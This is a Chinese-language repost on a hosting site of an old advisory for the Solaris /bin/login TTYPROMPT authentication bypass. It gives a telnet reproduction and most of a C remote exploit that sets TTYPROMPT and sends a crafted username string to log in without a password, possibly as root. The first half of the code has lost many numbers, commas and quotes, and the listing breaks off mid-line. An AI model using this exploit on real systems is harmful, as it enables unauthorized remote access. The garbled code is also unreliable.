鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 操作系统维护 > solaris > >

SunSolaris/bin/login验证绕过漏洞

来源:互联网 作者:佚名 时间:2015-06-03 08:39
受影响系统 Sun login Sun Solaris x Sun Solaris SPARC Sun Solaris SPARC Sun Solaris Sun Solaris SPARC Sun Solaris 描述 BUGTRAQ ID: Solaris 和 的/bin/login存在一个漏洞 可以通过环境变量TTYPROMPT绕过验证 远程攻击者只需在telnet里给环境变量TTYPR

  受影响系统
  Sun login
   Sun Solaris x
   Sun Solaris SPARC
   Sun Solaris SPARC
   Sun Solaris
   Sun Solaris SPARC
   Sun Solaris
  描述
  
  BUGTRAQ ID:
  
  Solaris 的/bin/login存在一个漏洞可以通过环境变量TTYPROMPT绕过验证
  
  远程攻击者只需在telnet里给环境变量TTYPROMPT简单定义成长度为的字符串然后连接上远程主机再输入用户名后面跟 c最后加一个回车就可以以这个用户直接登陆到系统而不需要口令验证如果系统允许root用户远程登陆就可以直接得到root用户的控制权
  
  <*来源:Jonathan Stuart (jo)
  
  链接:
  *>
  
  测试方法
  
  Jonathan Stuart (jo)提供了如下测试方法
  
  coma% telnet
  telnet> environ define TTYPROMPT abcdef
  telnet> o localhost
  
  SunOS
  
  bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
  c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
  Last login: whenever
  $ whoami
  bin
  
  lion() 提供了如下测试程序
  
  /******************************************************************
  
  
  Solaris and /bin/login TTYPROMPT remote exploit
  
  Tested for:
  SunOS Sparc
  SunOS x
  
  Code by lion
  
  
  Welcome to HUC website
  
  
  ******************************************************************/
  
  #include h>
  #include h>
  #include h>
  #include
  #include h>
  #include h>
  #include h>
  #include h>
  #include
  
  #define BUFLEN
  
  char shellcode[]= \x\x\x\x\x\x;
  
  void usage(char *p)
  {
   printf(Usage: %s [u user] [p port] <h host>\n\n p);
   printf( u: login username (default: bin) try \root\ :)\n);
   printf( p: port to use (default: )\n\n);
  
   printf(\n);
   exit();
  }
  
  void msg(char *msg)
  {
   perror(msg);
   exit(errno);
  }
  
  u_int_t get_ip(char *host)
  {
   struct hostent *hp;
  
   if(!(hp = gethostbyname(host))){
   fprintf(stderr cannot resolve %s\n host);
   return();
   }
   return(*(u_int_t *)hp>h_addr_list[]);
  }
  
  int get_socket(char *target int port)
  {
   int sock;
   u_int_t ip;
   struct sockaddr_in sin;
  
   if(!(ip = get_ip(target)))
   return();
  
   bzero(&sin sizeof(sin));
   sinsin_family = AF_INET;
   sinsin_port = htons(port);
   sinsin_addrs_addr = ip;
  
   if(!(sock = socket(AF_INET SOCK_STREAM )) < )
  msg(socket);
  if(connect(sock (struct sockaddr *)&sin sizeof(sin)) < )
  msg(connect);
  return(sock);
  }
  
  void send_wont(int sock int option)
  {
  char buf[] *ptr=buf;
  
  *ptr++ = IAC;
  *ptr++ = WONT;
  *ptr++ = (unsigned char)option;
  if(write(sock buf ) < )
  msg(write);
  return;
  }
  
  void send_will(int sock int option)
  {
  char buf[] *ptr=buf;
  
  *ptr++ = IAC;
  *ptr++ = WILL;
  *ptr++ = (unsigned char)option;
  if(write(sock buf ) < 0)
  msg("write");
  return;
  }
  
  void send_do(int sock, int option)
  {
  char buf[3], *ptr=buf;
  
  *ptr++ = IAC;
  *ptr++ = DO;
  *ptr++ = (unsigned char)option;
  if(write(sock, buf, 3) < 0)
  msg("write");
  return;
  }
  
  void send_env(int sock, char *name, char *value)
  {
  char buf[BUFLEN], *ptr = buf;
  
  *ptr++ = IAC;
  *ptr++ = SB;
  *ptr++ = TELOPT_NEW_ENVIRON;
  *ptr++ = TELQUAL_IS;
  *ptr++ = NEW_ENV_VAR;
  strncpy(ptr, name, BUFLEN-20);
  ptr += strlen(ptr);
  *ptr++ = NEW_ENV_VALUE;
  strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
  ptr += strlen(ptr);
  *ptr++ = IAC;
  *ptr++ = SE;
  
  if(write(sock, buf, (ptr - buf)) < 0)
  msg("write");
  return;
  }
  
  void do_negotiate(int sock)
  {
  send_wont(sock, TELOPT_TTYPE);
  send_wont(sock, TELOPT_NAWS);
  send_wont(sock, TELOPT_LFLOW);
  send_wont(sock, TELOPT_LINEMODE);
  send_wont(sock, TELOPT_XDISPLOC);
  send_will(sock, TELOPT_LFLOW);
  send_will(sock, TELOPT_LINEMODE);
  send_wont(sock, TELOPT_OLD_ENVIRON);
  send_will(sock, TELOPT_NEW_ENVIRON);
  send_will(sock, TELOPT_BINARY);
  send_env(sock, "TTYPROMPT", shellcode);
  return;
  }
  
  void write_attack_buf(int sock, char *user)
  {
  char outbuf[128],*s_buf;
  int i, j;
  
  if(!(s_buf = (char *)calloc(BUFLEN*2, 1)))
  msg("malloc");
  
  strcpy(outbuf, user);
  for(i = 0; i < 65; i++)
  {
  strcat(outbuf, " c");
  }
  strcat(outbuf, "\n");
  
  printf("send to target:\n%s\n", outbuf);
  if(write(sock, outbuf, strlen(outbuf)) < 0)
  msg("write");
  
  
  
  /* -- 2 reads for reading the garbage which screws up term -- */
  if((j = read(sock, s_buf, BUFLEN)) < 0)
  msg("read");
  
  if((j = read(sock, s_buf, BUFLEN)) < 0)
  msg("read");
  free(s_buf);
  return;
  }
  
  int main(int argc, char **argv)
  {
  int c, n, sockfd, port = 23;
  char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
  char user[36], host[36];
  fd_set rset;
  
  printf("============================================================\n");
  printf("Solaris 5.6 7 8 telnetd Remote exploit\n");
  printf("Tested for:\nSunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc\nSunOS 5.7, 5.8 x86\n");
  printf("Code by lion, Welcome to HUC website \n\n");
  
  if(argc <3) usage(argv[0]);
  strcpy(user, "bin");
  while((c = getopt(argc, argv, "h:u:p:")) != EOF){
  switch(c){
  case 'h':
  strncpy(host, optarg, 36);
  break;
  case 'u':
  strncpy(user,optarg, 36);
  break;
  case 'p':
  port = atoi(optarg);
  break;
  }
  }
  
  if(!(sockfd = get_socket(host, port)))
  exit(-1);
  
  do_negotiate(sockfd);
  
  n = read(sockfd, buf, sizeof(buf));
  
  write_attack_buf(sockfd,user);
  
  send_wont(sockfd, TELOPT_BINARY);
  
  sleep(1);
  read(sockfd, buf, sizeof(buf));
  
  write(sockfd, shellstr, strlen(shellstr));
  n = read(sockfd, buf, sizeof(buf));
  
  FD_ZERO(&rset);
  for(;;){
  FD_SET(0, &rset);
  FD_SET(sockfd, &rset);
  if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)
  msg("select");
  
  if(FD_ISSET(sockfd, &rset)){
  bzero(buf, sizeo
网友评论
<